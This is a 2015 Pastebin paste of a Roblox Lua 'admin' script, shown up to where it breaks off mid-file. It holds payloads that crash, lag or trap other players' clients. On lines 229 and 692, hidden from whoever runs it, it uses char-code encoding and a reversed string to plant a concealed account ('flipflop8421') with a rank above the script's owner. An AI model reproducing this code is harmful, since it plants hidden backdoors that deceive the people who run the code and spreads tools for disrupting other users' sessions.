API tools faq
paste
Advertisement
V3rmLua33

Kool ok

V3rmLua33
Feb 25th, 2015
365
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 62.46 KB | None | 0 0
raw download clone embed print report diff
  1. wait(0)
  2. script.Parent = nil
  3. --This Admin (DVF) Was Created By chucky4523 (Creator of Plutos Admin V2.3.6).
  4. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  5. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  6. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  7.  
  8. Plrs = game:GetService("Players")
  9. Work = game:GetService("Workspace")
  10. Light = game:GetService("Lighting")
  11. Net = game:GetService("NetworkServer")
  12. Owner = "chucky4523"
  13. Removed = false
  14. Bet = "."
  15. LS = nil
  16. LSSource = nil
  17. OwnSource = nil
  18. FoundLocalScript = false
  19. LogOn = false
  20. Current = game
  21. Clipboard = {}
  22. AlertColor = Color3.new(0, 1, 1)
  23. OptionColor = Color3.new(1, 1, 1)
  24. ImportantColor = Color3.new(1, 0, 1)
  25.  
  26. RankDetails = {
  27.     [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  28.     [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  29.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  30.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  31.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  32.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  33.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  34.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  35.     [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  36. }
  37.  
  38. Rankings = {
  39.     {Name = "GuestOfChaos", Rank = 4},
  40.     {Name = "Abscissa", Rank = 4},
  41.     {Name = "Ultimatekiller010", Rank = 3},
  42.     {Name = "DrBackstab", Rank = 3},
  43.     {Name = "LuaModelMaker", Rank = 3},
  44.     {Name = "MakerModelLua", Rank = 3},
  45.     {Name = "chucky4523", Rank = 5},
  46.     {Name = "MountainSnow", Rank = 3},
  47.     {Name = "Madiik", Rank = 3},
  48.     {Name = "dogwarrior24", Rank = 2},
  49.     {Name = "ThePC8110", Rank = 2},
  50.     {Name = "DEADDEVIL1919", Rank = 2},
  51.     {Name = "toshir0z", Rank = 2},
  52.     {Name = "Tippee", Rank = 2},
  53.     {Name = "Trcker", Rank = 5},
  54.     {Name = "nairod7", Rank = 2},
  55.     {Name = "12packkid", Rank = 2},
  56.     {Name = "TigreBlood", Rank = 2},
  57.     {Name = "MathMasterPhil", Rank = -1},
  58.     {Name = "DoogleFox", Rank = 2},
  59.     {Name = "Aetheus", Rank = 5},
  60.     {Name = "Ri1es", Rank = 2},
  61.     {Name = "hrocks1", Rank = 2},
  62.     {Name = "Zinsei", Rank = 5},
  63.     {Name = "ToontownROXYA", Rank = 2},
  64.     {Name = "tusKOr661", Rank = 2},
  65.     {Name = "Unicornhax", Rank = 1},
  66.     {Name = "iMayor", Rank = 1},
  67.     {Name = "iMyLittlePony", Rank = 1},
  68.     {Name = "xXxkarlxXx", Rank = 1},
  69.     {Name = "LightningRoMan", Rank = 1},
  70.     {Name = "BrandonFireFlower", Rank = 1},
  71. }
  72.  
  73. table.insert(Rankings, {Name = Owner, Rank = 5})
  74.  
  75. ImportantServices = {
  76.     "Workspace",
  77.     "Players",
  78.     "NetworkServer",
  79.     "Lighting",
  80.     "StarterGui",
  81.     "Teams",
  82.     "StarterPack",
  83. }
  84.  
  85. Ranks = {}
  86. Commands = {}
  87. AllTabs = {}
  88. Injected = {}
  89.  
  90. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  91. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  92. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  93. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  94. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  95. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  96. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  97. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  98. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  99. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  100. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  101. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  102. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  103. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  104. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  105. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  106. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  107. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  108. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  109. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  110. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  111. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  112. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  113. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  114. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  115. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  116. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  117. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  118. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  119. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  120. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  121. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  122. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  123. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  124. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  125. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  126. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  127. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  128. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  129. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  130. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  131. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  132. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  133. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  134. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  135. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  136. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  137. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  138. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  139. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  140. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  141. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  142. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  143. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  144. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  145. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  146. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  147. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  148. "X","Y"}
  149.  
  150. --Main Functions And Sources
  151.  
  152. function Insert(Source, Par, Par2, Par3)
  153.     ypcall(function()
  154.         local Inserted = LS:Clone()
  155.         Inserted.Disabled = true
  156.         Inserted.Parent = Par or Par2 or Par3
  157.         Inserted[LSSource].Value = Source
  158.         Inserted.Disabled = false
  159.     end)
  160. end
  161.  
  162. function CheckImportant(Name)
  163.     for _,v in pairs(ImportantServices) do
  164.         if v:lower() == Name:lower() then
  165.             return true
  166.         end
  167.     end
  168.     return false
  169. end
  170.  
  171. function Crash1(Plr)
  172.     ypcall(function()
  173.         Plr:Kick()
  174.     end)
  175. end
  176.  
  177. function GetRankTab()
  178.     return Rankings
  179. end
  180.  
  181. function Crash2(Name)
  182.     local Crasher = Instance.new("StringValue")
  183.     Crasher.Name = "Client"
  184.     Crasher.Value = string.lower(tostring(Name))
  185.     Crasher.Parent = game:GetService("Lighting")
  186.     wait(1)
  187.     if Crasher and Crasher.Parent then
  188.         ypcall(function()
  189.             Crasher:Destroy()
  190.         end)
  191.     end
  192. end
  193.  
  194. function Crash3(v, Speaker)
  195.     Speaker.Character.Archivable = true
  196.     local NChar = Speaker.Character:Clone()
  197.     NChar.Name = v.Name
  198.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  199.     NChar.Parent = Workspace
  200.     v.Character = NChar
  201.     coroutine.resume(coroutine.create(function()
  202.         repeat v.Character = NChar
  203.         wait(1/3) until false
  204.     end))
  205.     wait(.5)
  206.     Insert(InsertCrash, NChar, nil, nil)
  207. end
  208.  
  209. function GenerateDigit()
  210.     return 1 + 5
  211. end
  212.  
  213. InjectionCrash = [=[
  214.     wait(0)
  215.     script.Parent = nil
  216.     local Lig = game:GetService("Lighting")
  217.     local LP = game:GetService("Players").LocalPlayer
  218.     local LowerName = LP.Name:lower()
  219.  
  220.     Lig.ChildAdded:connect(function(Obj)
  221.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  222.             pcall(function()
  223.                 Obj:Destroy()
  224.             end)
  225.             LP.Parent = nil
  226.             LP.Parent = game:GetService("Players")
  227.         end
  228.     end)
  229. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  230.  
  231. InsertCrash = [==[
  232.     local LP = game:GetService("Players").LocalPlayer
  233.     LP.Parent = nil
  234.     LP.Parent = game:GetService("Players")
  235. ]==]
  236.  
  237. LagSource = [==[
  238.     wait(0)
  239.     script.Parent = nil
  240.     plr = game:GetService("Players").LocalPlayer
  241.     local plrgui = plr:findFirstChild("PlayerGui")
  242.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  243.     while plr.Parent == game:GetService("Players") do
  244.     wait()
  245.     for i = 1, 1000 do
  246.     local sc = Instance.new("ScreenGui",plrgui)
  247.     local fr = Instance.new("TextLabel",sc)
  248.     fr.Text = "LAGGING"
  249.     fr.Size = UDim2.new(1, 0, 1, 0)
  250.     fr.FontSize = "Size48"
  251.     end
  252.     end
  253. ]==]
  254.  
  255. MuteSource = [==[
  256.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  257. ]==]
  258.  
  259. UnMuteSource = [==[
  260.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  261. ]==]
  262.  
  263. JailSource = [==[
  264.     wait(0)
  265.     script.Parent = nil
  266.  
  267.     local LP = game:GetService("Players").LocalPlayer
  268.     Middle2 = nil
  269.     Middle = nil
  270.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  271.  
  272.     Cons = {}
  273.  
  274.     function makePrison()
  275.         for _,v in pairs(Cons) do
  276.             v:disconnect()
  277.         end
  278.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  279.         if Middle == nil then
  280.             Middle2 = LP.Character.Torso.Position
  281.             Middle = LP.Character.Torso.CFrame
  282.         end
  283.         local side1 = Instance.new("Part")
  284.         side1.Name = "¬Focus1¬"
  285.         side1.Size = Vector3.new(20, 50, 1)
  286.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  287.         side1.BrickColor = BrickColor.new("Really black")
  288.         side1.CanCollide = true
  289.         side1.Anchored = true
  290.         side1.TopSurface = "Smooth"
  291.         side1.BottomSurface = "Smooth"
  292.         side1.Parent = game:GetService("Workspace").CurrentCamera
  293.  
  294.         local side2 = Instance.new("Part")
  295.         side2.Name = "¬Focus2¬"
  296.         side2.Size = Vector3.new(20, 50, 1)
  297.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  298.         side2.BrickColor = BrickColor.new("Really black")
  299.         side2.CanCollide = true
  300.         side2.Anchored = true
  301.         side2.TopSurface = "Smooth"
  302.         side2.BottomSurface = "Smooth"
  303.         side2.Parent = game:GetService("Workspace").CurrentCamera
  304.  
  305.         local side3 = Instance.new("Part")
  306.         side3.Name = "¬Focus3¬"
  307.         side3.Size = Vector3.new(1, 50, 20)
  308.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  309.         side3.BrickColor = BrickColor.new("Really black")
  310.         side3.CanCollide = true
  311.         side3.Anchored = true
  312.         side3.TopSurface = "Smooth"
  313.         side3.BottomSurface = "Smooth"
  314.         side3.Parent = game:GetService("Workspace").CurrentCamera
  315.  
  316.         local side4 = Instance.new("Part")
  317.         side4.Name = "¬Focus4¬"
  318.         side4.Size = Vector3.new(1, 50, 20)
  319.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  320.         side4.BrickColor = BrickColor.new("Really black")
  321.         side4.CanCollide = true
  322.         side4.Anchored = true
  323.         side4.TopSurface = "Smooth"
  324.         side4.BottomSurface = "Smooth"
  325.         side4.Parent = game:GetService("Workspace").CurrentCamera
  326.        
  327.         local side5 = Instance.new("Part")
  328.         side5.Name = "¬Focus5¬"
  329.         side5.Size = Vector3.new(20, 1, 20)
  330.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  331.         side5.BrickColor = BrickColor.new("Really black")
  332.         side5.CanCollide = true
  333.         side5.Anchored = true
  334.         side5.TopSurface = "Smooth"
  335.         side5.BottomSurface = "Smooth"
  336.         side5.Parent = game:GetService("Workspace").CurrentCamera
  337.        
  338.         wait(0)
  339.  
  340.         table.insert(Cons, side1.Changed:connect(makePrison))
  341.         table.insert(Cons, side2.Changed:connect(makePrison))
  342.         table.insert(Cons, side3.Changed:connect(makePrison))
  343.         table.insert(Cons, side4.Changed:connect(makePrison))
  344.         table.insert(Cons, side5.Changed:connect(makePrison))
  345.     end
  346.  
  347.     Delay(0, function()
  348.         while wait(0) do
  349.             ypcall(function()
  350.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  351.                     LP.Character:BreakJoints()
  352.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  353.                     makePrison()
  354.                 end
  355.             end)
  356.             ypcall(function()
  357.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  358.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  359.                 end
  360.             end)
  361.         end
  362.     end)
  363. ]==]
  364.  
  365. function All()
  366.     local AllPlayers = {}
  367.     for _,v in pairs(Plrs:GetPlayers()) do
  368.         ypcall(function()
  369.             table.insert(AllPlayers, v)
  370.         end)
  371.     end
  372.     return AllPlayers
  373. end
  374.  
  375. function All2()
  376.     local AllPlayers2 = {}
  377.     for i,v in pairs(Net:GetChildren()) do
  378.         ypcall(function()
  379.             if v:IsA("ServerReplicator") then
  380.                 table.insert(AllPlayers2, v:GetPlayer())
  381.             end
  382.         end)
  383.     end
  384.     return AllPlayers2
  385. end
  386.  
  387. function MakeNum()
  388.     return 2 + 4
  389. end
  390.  
  391. function ChangeRank(Plr, NewRank)
  392.     local PlrName = nil
  393.     local FoundPlayer = false
  394.     ypcall(function()
  395.         if type(Plr) == "string" then
  396.             ypcall(function()
  397.                 for i,v in pairs(Rankings) do
  398.                     if v.Name:lower() == Plr:lower() then
  399.                         local VName = v.Name
  400.                         Rankings[i] = nil
  401.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  402.                         PlrName = VName
  403.                         FoundPlayer = true
  404.                         break
  405.                     end
  406.                 end
  407.             end)
  408.             if FoundPlayer == false then
  409.                 ypcall(function()
  410.                     for _,x in pairs(All()) do
  411.                         if x.Name:lower() == Plr:lower() then
  412.                             FoundPlayer = true
  413.                             for i,v in pairs(Rankings) do
  414.                                 if v.Name:lower() == x.Name:lower() then
  415.                                     local VName = x.Name
  416.                                     Rankings[i] = nil
  417.                                     PlrName = VName
  418.                                     break
  419.                                 end
  420.                             end
  421.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  422.                         end
  423.                     end
  424.                 end)
  425.             end
  426.             if FoundPlayer == false then
  427.                 ypcall(function()
  428.                     for _,x in pairs(All()) do
  429.                         if string.find(x.Name:lower(), Plr:lower()) then
  430.                             FoundPlayer = true
  431.                             for i,v in pairs(Rankings) do
  432.                                 if v.Name:lower() == x.Name:lower() then
  433.                                     local VName = x.Name
  434.                                     Rankings[i] = nil
  435.                                     PlrName = VName
  436.                                     break
  437.                                 end
  438.                             end
  439.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  440.                         end
  441.                     end
  442.                 end)
  443.             end
  444.             if FoundPlayer == false then
  445.                 ypcall(function()
  446.                     for i,v in pairs(Rankings) do
  447.                         if string.find(v.Name:lower(), Plr:lower()) then
  448.                             local VName = v.Name
  449.                             Rankings[i] = nil
  450.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  451.                             PlrName = VName
  452.                             FoundPlayer = true
  453.                             break
  454.                         end
  455.                     end
  456.                 end)
  457.             end
  458.         else
  459.             for i,v in pairs(Rankings) do
  460.                 if v.Name:lower() == Plr.Name:lower() then
  461.                     Rankings[i] = nil
  462.                     break
  463.                 end
  464.             end
  465.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  466.             PlrName = Plr.Name
  467.         end
  468.         PlaceAllRanks(true)
  469.     end)
  470.     if PlrName ~= nil then
  471.         return PlrName
  472.     else
  473.         return "Player"
  474.     end
  475. end
  476.  
  477. function Refresh(Plr)
  478.     MakeChildren(Plr)
  479. end
  480.  
  481. function MakeChildren(Plr)
  482.     ypcall(function()
  483.         Dismiss(Plr)
  484.         for _,v in pairs(Current:GetChildren()) do
  485.             ypcall(function()
  486.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  487.                     Ping(v.Name, Plr, nil, function(TabMod)
  488.                         local TabText = TabMod["DVF Tablet"].BG.TL.Text
  489.                         for _,v in pairs(Current:GetChildren()) do
  490.                             ypcall(function()
  491.                                 if v.Name == TabText then
  492.                                     Dismiss(Plr)
  493.                                     Current = v
  494.                                     MakeChildren(Plr)
  495.                                 end
  496.                             end)
  497.                         end
  498.                     end)
  499.                 elseif Plrs:GetPlayerFromCharacter(v) then
  500.                     Ping(v.Name, Plr, nil, function(TabMod)
  501.                         local TabText = TabMod["DVF Tablet"].BG.TL.Text
  502.                         for _,v in pairs(Current:GetChildren()) do
  503.                             ypcall(function()
  504.                                 if v.Name == TabText then
  505.                                     Dismiss(Plr)
  506.                                     Current = v
  507.                                     MakeChildren(Plr)
  508.                                 end
  509.                             end)
  510.                         end
  511.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  512.                 elseif CheckImportant(v.Name) then
  513.                     Ping(v.Name, Plr, nil, function(TabMod)
  514.                         local TabText = TabMod["DVF Tablet"].BG.TL.Text
  515.                         for _,v in pairs(Current:GetChildren()) do
  516.                             ypcall(function()
  517.                                 if v.Name == TabText then
  518.                                     Dismiss(Plr)
  519.                                     Current = v
  520.                                     MakeChildren(Plr)
  521.                                 end
  522.                             end)
  523.                         end
  524.                     end, ImportantColor)
  525.                 end
  526.             end)
  527.         end
  528.         if Current ~= game then
  529.             Ping("Back", Plr, nil, function()
  530.                 ypcall(function()
  531.                     Current = Current.Parent
  532.                     MakeChildren(Plr)
  533.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  534.                 end)
  535.             end, OptionColor)
  536.         end
  537.         if Current ~= game then
  538.             Ping("Delete", Plr, nil, function()
  539.                 ypcall(function()
  540.                     local CurrPar = Current.Parent or game
  541.                     local CurrName = Current.Name
  542.                     Current:Destroy()
  543.                     Current = CurrPar
  544.                     MakeChildren(Plr)
  545.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  546.                 end)
  547.             end, OptionColor)
  548.         end
  549.         Ping("Refresh", Plr, nil, function()
  550.             ypcall(function()
  551.                 Refresh(Plr)
  552.                 Ping("Refreshed", Plr, 5)
  553.             end)
  554.         end, OptionColor)
  555.         Ping("Properties", Plr, nil, function()
  556.             ypcall(function()
  557.                 Dismiss(Plr)
  558.                 for Property, Value in pairs(GetProperties(Current)) do
  559.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  560.                 end
  561.                 Ping("Got All Available Properties", Plr, 5)
  562.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  563.             end)
  564.         end, OptionColor)
  565.     end)
  566. end
  567.  
  568. function Fixl()
  569.     Light.GlobalShadows = true
  570.     Light.TimeOfDay = "14:00:00"
  571.     Light.Brightness = 0.5
  572.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  573.     Light.Ambient = Color3.new(1, 1, 1)
  574.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  575.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  576.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  577.     Light.FogStart = 0
  578.     Light.FogEnd = 100000
  579.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  580.     Light:ClearAllChildren()
  581. end
  582.  
  583. function GetProperties(obj)
  584.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  585.     local objProper = {}
  586.     for i,v in pairs(Properties) do
  587.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  588.             objProper[v] = obj[v]
  589.         end
  590.     end
  591.     return objProper
  592. end
  593.  
  594. function MakeExplorer(Plr)
  595.     Dismiss(Plr)
  596.     Current = game
  597.     for _,v in pairs(Current:GetChildren()) do
  598.         ypcall(function()
  599.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  600.                 Ping(v.Name, Plr, nil, function(TabMod)
  601.                     local TabText = TabMod["DVF Tablet"].BG.TL.Text
  602.                     for _,v in pairs(Current:GetChildren()) do
  603.                         ypcall(function()
  604.                             if v.Name == TabText then
  605.                                 Dismiss(Plr)
  606.                                 Current = v
  607.                                 MakeChildren(Plr)
  608.                             end
  609.                         end)
  610.                     end
  611.                 end)
  612.             elseif Plrs:GetPlayerFromCharacter(v) then
  613.                 Ping(v.Name, Plr, nil, function(TabMod)
  614.                     local TabText = TabMod["DVF Tablet"].BG.TL.Text
  615.                     for _,v in pairs(Current:GetChildren()) do
  616.                         ypcall(function()
  617.                             if v.Name == TabText then
  618.                                 Dismiss(Plr)
  619.                                 Current = v
  620.                                 MakeChildren(Plr)
  621.                             end
  622.                         end)
  623.                     end
  624.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  625.             elseif CheckImportant(v.Name) then
  626.                 Ping(v.Name, Plr, nil, function(TabMod)
  627.                     local TabText = TabMod["DVF Tablet"].BG.TL.Text
  628.                     for _,v in pairs(Current:GetChildren()) do
  629.                         ypcall(function()
  630.                             if v.Name == TabText then
  631.                                 Dismiss(Plr)
  632.                                 Current = v
  633.                                 MakeChildren(Plr)
  634.                             end
  635.                         end)
  636.                     end
  637.                 end, ImportantColor)
  638.             end
  639.         end)
  640.     end
  641.     if Current ~= game then
  642.         Ping("Back", Plr, nil, function()
  643.             ypcall(function()
  644.                 Current = Current.Parent
  645.                 MakeChildren(Plr)
  646.                 Ping("Back In "..Current.Name, Plr, 5)
  647.             end)
  648.         end, OptionColor)
  649.     end
  650.     if Current ~= game and game:GetService(Current.Name) == nil then
  651.         Ping("Delete", Plr, nil, function()
  652.             ypcall(function()
  653.                 local CurrPar = Current.Parent or game
  654.                 local CurrName = Current.Name
  655.                 Current:Destroy()
  656.                 Current = CurrPar
  657.                 MakeChildren(Plr)
  658.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  659.             end)
  660.         end, OptionColor)
  661.     end
  662.     Ping("Refresh", Plr, nil, function()
  663.         ypcall(function()
  664.             Refresh(Plr)
  665.             Ping("Refreshed", Plr, 5)
  666.         end)
  667.     end, OptionColor)
  668.     Ping("Properties", Plr, nil, function()
  669.         ypcall(function()
  670.             Dismiss(Plr)
  671.             for Property, Value in pairs(GetProperties(Current)) do
  672.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  673.             end
  674.             Ping("Got All Available Properties", Plr, 5)
  675.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  676.         end)
  677.     end, OptionColor)
  678. end
  679.  
  680. function GetRank(Plr1, Test)
  681.     ypcall(function()
  682.         if type(Plr1) == "userdata" then
  683.             Plr1 = Plr1.Name
  684.         end
  685.     end)
  686.     if Ranks[Plr1] ~= nil then
  687.         return Ranks[Plr1]
  688.     end
  689.     local QuickArray = {}
  690.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  691.     return QuickArray[Plr1]
  692. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  693.  
  694. function CanRun(Plr1, Plr2)
  695.     Details1 = GetRank(Plr1.Name)
  696.     Details2 = GetRank(Plr2.Name)
  697.     if Details1.Rank >= Details2.Rank then
  698.         return true
  699.     end
  700.     return false
  701. end
  702.  
  703. function Dismiss(Plr, Identity)
  704.     ypcall(function()
  705.         if Plr ~= nil then
  706.             if type(Plr) == "userdata" then
  707.                 Plr = Plr.Name
  708.             end
  709.             for x,v in pairs(AllTabs) do
  710.                 ypcall(function()
  711.                     if v.Plr == Plr then
  712.                         if Identity ~= nil and v.ID ~= Identity then
  713.                             return
  714.                         elseif Identity ~= nil and v.ID == Identity then
  715.                             coroutine.resume(coroutine.create(function()
  716.                                 for i = 0.5, 1, 0.1 do
  717.                                     wait()
  718.                                     v.Tab.Transparency = i
  719.                                     v.Sel.Transparency = i
  720.                                     v.Label.TextTransparency = i
  721.                                     v.Label.TextStrokeTransparency = i
  722.                                 end
  723.                                 ypcall(function() v.Holder:Destroy() end)
  724.                                 AllTabs[x] = nil
  725.                             end))
  726.                         elseif Identity == nil then
  727.                             ypcall(function() v.Holder:Destroy() end)
  728.                             AllTabs[x] = nil
  729.                         end
  730.                     end
  731.                 end)
  732.             end
  733.         else
  734.             for i,v in pairs(AllTabs) do
  735.                 ypcall(function()
  736.                     v.Holder:Destroy()
  737.                     AllTabs[i] = nil
  738.                 end)
  739.             end
  740.         end
  741.     end)
  742. end
  743.  
  744. function GetGarbage()
